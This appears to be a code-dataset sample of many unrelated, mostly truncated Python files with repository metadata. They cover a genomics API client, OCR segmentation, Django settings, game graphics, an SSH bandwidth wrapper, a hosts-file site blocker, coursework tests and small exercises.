genomicsengland/pycipapi
/pycipapi/cipapi_client.py
Python
py
17,365
permissive
from pycipapi.models import ( CipApiOverview, CipApiCase, ClinicalReport, VariantInterpretationLog, Referral, RequestStatus, InterpretationFlag, Participant, ParticipantConsent, ParticipantInterpretedGenome, ParticipantClinicalReport, ) from pycipapi.rest_client import RestCl...
e231bfa916f69b393e82be6fce8293f917d5a254
4e3acdf1965779fe7672d58ff38d85b5044714f3
YradenRavid/FinalProject
/csrn.py
Python
py
2,842
no_license
import os from os.path import abspath from models import RibCageRegressionNet from loaders import DatasetLoader import tensorflow as tf import argparse def main(argv): """Run the csrn according to the arguments passed in the command line. Args: argv: A Namespace object. Possible returned from ...
555d7be25b0f22f634d87d9f34baa739c52e66b6
72cadc089be2b107ad88077a934eb1fb5ea11896
JaidedAI/EasyOCR
/trainer/craft/data/pseudo_label/watershed.py
Python
py
1,353
permissive
import cv2 import numpy as np from skimage.segmentation import watershed def segment_region_score(watershed_param, region_score, word_image, pseudo_vis_opt): region_score = np.float32(region_score) / 255 fore = np.uint8(region_score > 0.75) back = np.uint8(region_score < 0.05) unknown = 1 - (...
7f1a107cb68b7a0e55e03b67316de82b555c1655
344754f3d7711abe37db8ab8ce6f5a9bb3d02b3b
edgarpoce/runway
/integration_tests/test_cfngin/tests/10_locked_stack.py
Python
py
1,339
permissive
"""CFNgin test.""" # flake8: noqa # pylint: disable=invalid-name from os.path import basename from integration_tests.test_cfngin.test_cfngin import Cfngin FILE_BASENAME = '.'.join(basename(__file__).split('.')[:-1]) class TestLockedStack(Cfngin): """Test CFNgin with a locked stack. Requires valid AWS crede...
954fafd24dcb860c3d6b2d1bb604a56104070b40
d9436f5f2486725b20c58aee3764cb7628149439
Arpit0903/BlogiFy
/blog/settings.py
Python
py
3,907
no_license
""" Django settings for blog project. Generated by 'django-admin startproject' using Django 3.0.8. For more information on this file, see https://docs.djangoproject.com/en/3.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.0/ref/settings/ """ import os impor...
a94ae3a65e81f6690c0198572c7fedf7bb8dfc33
786f8180dcfa0387a565365046de7cc728e12568
finnigantime/tethical
/client/Sky.py
Python
py
1,287
no_license
from panda3d.core import GeomVertexFormat, Geom, GeomVertexData, GeomVertexWriter, GeomTristrips, VBase4, GeomNode, NodePath # Draw the gradient background representing the sky during a battle class Sky(object): def __init__(self, mp): vdata = GeomVertexData('name_me', GeomVertexFormat.getV3c4(), Geom.UHS...
b217e4fefec79c649712310499e715ab497a6e28
d9f1f6800308a0afe7d49b5947a2988b167af1e0
rjpathan/openerp-eran
/addons/account_voucher/__openerp__.py
Python
py
3,412
no_license
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU...
f15506c6178e56f2fa6e3e61338f98c2f6ed4808
9f5ae2545addca5bc11edfcdcec0a42b2c0d03dd
zheng171411/scrapy-weibospider-mysql
/build/lib/weibospider/analyzers/util.py
Python
py
315
no_license
# _*_coding:utf-8 _*_ def get_times_fromdb(fetchsize,totalsize): """获取需要从数据库中以fetchsize获取的次数""" if totalsize % fetchsize == 0: return totalsize / fetchsize else: return totalsize / fetchsize + 1 if __name__ == "__main__": print get_times_fromdb(5,13)
42c5016f3fece7bf8ca0767f832f0cbe607b96fc
9ff5dc007e7a2f49495a5a0f67efc5ddab8ebcc5
tomotake-koike/bandwidth_control_sftp
/paramiko/bandwidth_control_paramiko.py
Python
py
17,459
no_license
import socket import threading import time from paramiko.channel import Channel from paramiko.client import SSHClient from paramiko.agent import Agent from paramiko.common import DEBUG from paramiko.config import SSH_PORT from paramiko.dsskey import DSSKey from paramiko.ecdsakey import ECDSAKey from paramiko.ed25519ke...
4a11e7460af58cbfe2721ee0d9976efe219bee0d
3894ac499e728ee34c85ed76ab8431511f0a2f07
Mirantis/tcp-qa
/tcp_tests/managers/k8s/deployments.py
Python
py
2,275
no_license
# Copyright 2017 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
49d6fe8184084b2cb6d276be6d2ccbbcfcc8f443
4d50167cc8246a960eba199e3ae0b8f4b405c7cb
rainy0824/auto_jenkins_test
/run.py
Python
py
750
no_license
#coding=utf-8 import unittest from public.common.htmltestrunner import HTMLTestRunner import time from config import globalparam from public.common import sendmail def run(): test_dir = './testcase' suite = unittest.defaultTestLoader.discover(start_dir=test_dir,pattern='test*.py') now = time.strftime('%Y...
27bbf6af531ae89a5834e6590cb0abba3e245efb
e2230f569f800cecea89de9662944d8914fa7f84
Rad-dude/NSPN_CODE
/create_data_dictionary.py
Python
py
8,776
no_license
#!/usr/bin/env python import sys import os import numpy as np from glob import glob fs_rois_dir = sys.argv[1] seg_measure_list = [ 'A', 'R1', 'MT', 'R2s', 'PDw', 'FA', 'MD', 'MO', 'L1', 'L23', 'sse', 'volume' ] parc_measure_list = [ 'area', 'volume', 't...
5a360ab84eb30b3441d8b7015d95e2d208c110d2
97ce37bc5b0a4ce70ed9942795a076c2bb35a9c3
indrajohn7/ML_AI_Science
/LBSR/pca.py
Python
py
1,767
no_license
#!/usr/bin/python3 import os import read_data as rd #import pandas as pd from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler import numpy as np import sklearn.datasets, sklearn.decomposition THRESHOLD = 0.99 X_train = rd.field_mat sc = StandardScaler() X_train_std =...
ab0cbba071ad137caa6661c25ab7ae751c164163
66247deaadb08c01e685882597c47019b4390f1d
wangyuhao00/python-coolapis
/mysql-test.py
Python
py
4,484
no_license
#!/usr/bin/python3 import os import pymysql import cx_Oracle as cx from backports import configparser from pip._vendor.distlib.compat import raw_input cf = configparser.ConfigParser() cf.read("config.ini") def generate_namedtuple(cur): from collections import namedtuple fieldnames = [d[0].lower() for d in cu...
144e3ba8b90c552acc2a5796eb4b82233798db8c
dce66917ffc66546826cad6bcc0c69d46fc6f1c5
lpalbou/gocam-pymodel
/gocam-model.py
Python
py
15,326
no_license
import networkx as nx from enum import Enum import datetime class EntityType(Enum): BASIC = "basic" EVIDENCE = "evidence" TERM = "term" GENE_PRODUCT = "gene_product" TAXON = "taxon" RELATIONSHIP = "relationship" CONTEXT = "context" ACTIVITY = "activity" CONTRIBUTOR = "contributor"...
99df7d94c2cc7f68ccd84dbec0fd7cec6f9c4a70
c8c74ba29c8d3d939f2168add7372cb0e624f7dc
mferoc/UniProjecao-Topicos-Avancados-em-Analise-e-Desenvolvimento-de-Sistemas
/exercicios/Sequencial/ex09.py
Python
py
288
permissive
metros = float(input("Digite a quantidade de metros quadrados a serem pintados: ")) litros = metros/3 precoL = 80.0 capacidadeL = 18 latas = litros / capacidadeL total = latas * precoL print('Você usara ' + str(latas) + 'latas de tinta') print('O preco total é de: R$' + str(total))
3a6700b16a7fdaba0eb08082d4496a84775113ac
acce8797b200bd823bab118ac314241f82006d3b
ds-modules/Colab-data-8
/hw/hw02/tests/q5_2.py
Python
py
794
permissive
test = { 'name': 'q5_2', 'points': 1, 'suites': [ { 'cases': [ { 'code': '>>> # Hint: If you are getting 47 as your answer, you might be computing the biggest change rather than biggest decrease!;\n' '>>> biggest_decrease != 47\n' ...
ccbadba2258bfa45a9a9102f981385d3c2347cad
152f76776ff0b3634de83a9823228e769cf57c6f
fidian/pyshelf
/pyshelf/app.py
Python
py
1,026
permissive
import flask from pyshelf.routes.artifact import artifact import pyshelf.response_map as response_map from pyshelf.cloud.cloud_exceptions import CloudStorageException app = flask.Flask(__name__) app.register_blueprint(artifact) @app.errorhandler(Exception) @app.errorhandler(CloudStorageException) def generic_excepti...
28f3a16093fc866c3ba734f6635f51235f272dea
25989762d4486ba1f850585c07b5966116d1460e
vbannai/nova
/nova/scheduler/driver.py
Python
py
14,133
permissive
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright (c) 2010 OpenStack, LLC. # Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # ...
597e52237167aa5ddfde00d5f9466b58140ccfc0
f9f11dbd54218586a27b5e66a884f448ed97071a
Chatwaroon/Portfolio
/workshop/Block เว็บไซต์ไม่พึงประสงค์/WebBlocker.py
Python
py
1,069
no_license
import time from datetime import datetime as dt #host file host_path="C:\Windows\System32\drivers\etc\hosts" websites=["www.youtube.com","https://www.youtube.com","www.google.com","https://www.google.com"] redirect="127.0.0.1" #การตั้งเวลา starttime=dt(dt.now().year,dt.now().month,dt.now().day,5) endtime=...
f0425015230f5970a00168e9e72fb988cf12163c
f414b41b1380a9b86b51546498b86a9e7bcb6d15
jmarucha/jmarucha.github.io
/random/main.py
Python
py
1,788
permissive
import code from config import * from time import sleep from selenium import webdriver from re import sub # THIS PART SHOULD BE EDITED BY USER login = "my_facebook_login" password = "my_facebook_password" group = "Kurde xD" loading_time = 30 output_file = "output.csv" def clear_tags(text): return sub("<.+?>", "", ...
f6ef09116fa6e99755a09d91d2559ae902e45cd7
7e1dfab578494edc430b7cfc11266eb9a62b13a1
andrejdolnenec/Office365-REST-Python-Client
/office365/outlook/calendar/place.py
Python
py
594
permissive
from office365.entity import Entity from office365.outlook.mail.physical_address import PhysicalAddress class Place(Entity): """Represents basic location attributes such as name, physical address, and geographic coordinates. This is the base type for richer location types such as room and roomList.""" @p...
2bf726b9d2fccae700369f708615064a52a9bf87
c52bb1ce0f6611387f0bc1e5d5565db466155ccc
socolachaymo/Matching-Animals
/app.py
Python
py
1,902
no_license
import pygame from pygame import display, event, image from time import sleep import game_config as gc from animals import Animal def find_index(x,y): row = y//gc.image_size col = x//gc.image_size index = row * gc.num_tiles_side + col return index pygame.init() display.set_caption('My Game') screen...
a0b302a8228e099c0c2d0f0cd259ee6072600df0
9e2a77a0240d0d3f1ba449cd67ac0190f1489657
BD20171998/holbertonschool-higher_level_programming
/0x03-python-data_structures/7-add_tuple.py
Python
py
1,005
no_license
#!/usr/bin/python3 def add_tuple(tuple_a=(), tuple_b=()): if len(tuple_a) >= 2 and len(tuple_b) >= 2: x, y = tuple_a[0:2] w, t = tuple_b[0:2] return (x + w, y + t) elif not tuple_a and not tuple_b: return (0, 0) elif len(tuple_a) == 1 and len(tuple_b) >= 2: x = t...
1fabfe037cdc676edb091ca48da5670c62d49173
cff45c65f48f72b9bdd286b43c0dc426d27373d8
hi-chi/pyHiChi
/example-tests/example_solvers.py
Python
py
3,717
permissive
import sys sys.path.append("../bin/") import pyHiChi as hichi import numpy as np grid_size = hichi.Vector3d(5, 10, 11) min_coords = hichi.Vector3d(0.0, 1.0, 0.0) max_coords = hichi.Vector3d(3.5, 7.0, 2*np.pi) def value_Ex(x, y, z): Ex = np.sin(2*np.pi/(max_coords.z - min_coords.z)*z) return Ex def value_Ey(x...
43d21fc21e148c7136db4f3462aefce62fbddd07
56d3dba6f6c1a7facd81c73b6ae32467d56964c4
Froggg/endless-war
/ew/backend/goonscapestats.py
Python
py
7,190
no_license
import time import math from . import core as bknd_core from ..static import cfg as ewcfg from ew.utils.frontend import send_response from ew.backend.questrecords import create_quest_record from ew.backend.questrecords import fetch_quest_records from ew.backend.item import item_create class EwGoonScapeStat: de...
4323ccc705c9663fae4c5c06552a7f51267e8f14
7f77311933968682a7a973b67798ff0cbd5d3387
truthbk/dogbox
/generators/generator.py
Python
py
696
permissive
#!/usr/bin/python import argparse import subprocess MOSQUITTO = "mosquitto_pub" def generate(server, topic, device): while True: subprocess.call([MOSQUITTO, "-h", server, "-t", topic, "-m", "gaugor:333|g"]) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Description of your...
4d2162a679829d56080ef47b9c4c77f9444562d8
c3c04c0275753bceff527f0ec445409741499b79
mdsirumon/ntk
/widgets/text.py
Python
py
7,568
permissive
# Import Tkinter Text to use it and modify default from tkinter import Text as tkText # Import all util from ntk.utils from ntk.utils import * class Text(tkText): # text class can be called once the root tk is defined # only one must required field is root which is the any of widget # oth...
5ac5a6f066f206567d20bd709e02cad5014c5a85
c2e939cc9da85f81fb4ddb2cdab104d708c3574a
nkscoder/selenium_webdriver_unittext
/lists/views.py
Python
py
355
no_license
from django.shortcuts import render from django.http import HttpResponse # Create your views here. # home_page = None # this funcation working # def home_page(): # pass # def home_page(): # return HttpResponse('<html><title>To-Do lists</title></html>') def home_page(request): return HttpResponse('<html>...
1cb5b6d51791633a7ed33f39df0be3a5e949ca56
fed3a9148c3ff2c534e2e3279a9d18395e7f74eb
ammarhakim/ammar-simjournal
/source/sims/s263/mkcentmassplots.py
Python
py
1,122
permissive
from pylab import * import numpy # load data com_260 = loadtxt("../s260/s260-blobs_centerOfMass.txt") com_263 = loadtxt("s263-blobs_centerOfMass.txt") # plot COM data figure(1) plot(com_260[:,0], com_260[:,1]-5, label='260') plot(com_263[:,0], com_263[:,1]-10, label='263') title('Center-of-Mass (radial coordinate)') ...
8e6fc9f18f96218f0da19e94a2768e2b452bb529
280a0408fdf6cf5636f9a6818418d7513ded333f
jyothirupa/DA
/Ex 5/e5p7.py
Python
py
374
no_license
# -*- coding: utf-8 -*- """ Created on Wed Jul 25 11:36:18 2018 @author: user """ try: count = 0 with open("C:/Users/user/Desktop/DigitalAlpha/file.txt", "r+") as f: for line in f: words = line.split() count += len(words) print("no of words: ", count) ...
f45e4d29f462f8ef29c0c1f98356953c179719c8
181f2ee2ff5c6e175ee43b376af7185d767716ff
felipehv/iic2233
/Actividades/AC27/main.py
Python
py
1,387
no_license
# coding=utf-8 # Probado en Windows import requests,getpass from requests.auth import HTTPBasicAuth # Debe tener los atributos: # * _id (string) # * name (string) # * votes (diccionario string: int) class Table: def __init__(self, _id, name, votes): self._id = _id self.name = name self.vot...
4fcc22e3a5c876d58984492e7f86cba4277de805
c2c09df992399b5e2f471d7bcd84f123b26996f5
cashgithubs/Huge_py
/eulerproject/eulerword.py
Python
py
4,835
no_license
points=0 def letterone(letter): global points if letter=='1': points+=3 return points elif letter=='2': points+=3 return points elif letter=='3': points+=5 return points elif letter=='4': points+=4 return points elif letter=='5': ...